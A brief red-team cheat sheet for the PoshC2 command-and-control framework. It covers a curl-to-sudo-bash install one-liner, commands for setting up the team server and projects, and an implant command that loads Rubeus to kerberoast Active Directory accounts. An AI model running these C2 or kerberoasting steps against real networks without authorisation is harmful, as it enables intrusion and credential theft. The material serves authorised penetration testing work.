PoshC2

• https://github.com/nettitude/PoshC2

• https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/

• https://xakep.ru/2023/08/18/interstellar-c2/

• [PDF] A Deep Dive Into a PoshC2 Implant (Vlad Pasca)

Install

$ curl -sSL https://github.com/nettitude/PoshC2/raw/dev/Install.sh | sudo bash -s -- -p /opt/PoshC2 -b dev

Run

List projects:

$ posh-project -l

Show current project:

$ posh-project -c

Create a new project:

$ posh-project -n <PROJECT_NAME>

Adjust config:

$ posh-config

Start team server:

$ posh-server

Connect to the team server:

$ posh -u snovvcrash

Cheatsheet

Load .NET assembly and run it (available for agents that load CLR):

C# 01> loadmodule /tmp/Rubeus.exe
C# 01> run-exe Namespace.Class Assembly <args>
C# 01> run-exe Rubeus.Program Rubeus kerberoast /usetgtdeleg /format:hashcat